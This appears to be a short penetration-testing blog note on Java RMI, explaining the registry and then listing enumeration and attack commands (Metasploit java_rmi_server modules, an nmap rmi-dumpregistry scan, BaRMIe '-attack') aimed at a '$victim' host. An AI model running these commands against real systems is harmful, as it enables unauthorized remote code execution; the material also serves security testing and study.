Java Remote Method Invocation is a method to execute code remotely on other systems. This Oracle document describes it. But to use it, a program has to been uploaded first or it has to be known how to communicate with it.
General
- A Java registry daemon has to be running.
- Run rmiregistry (bundled with Java) from the same directory as the other code.
- If there is a “unmarshalled” error, stop rmiregistry and add the following to the server code to start a registry server in the proper environment:
LocateRegistry.createRegistry(1099);
- Programs can register endpoints / classes there
- Clients can query the registry for endpoins and use them.
Enumeration
With Metasploit, use scanner/misc/java_rmi_server to check if the class loader is activated. If yes, new code can be uploaded, e.g. with multi/misc/java_rmi_server.
With nmap:
nmap -sSVC --script rmi-dumpregistry -p 1100 $victim
With BaRMIe:
java -jar BaRMIe_v1.01.jar -enum $victim 1100
Exploiting
With BaRMIe:
java -jar BaRMIe_v1.01.jar -attack $victim 1100
Leave a Reply
You must be logged in to post a comment.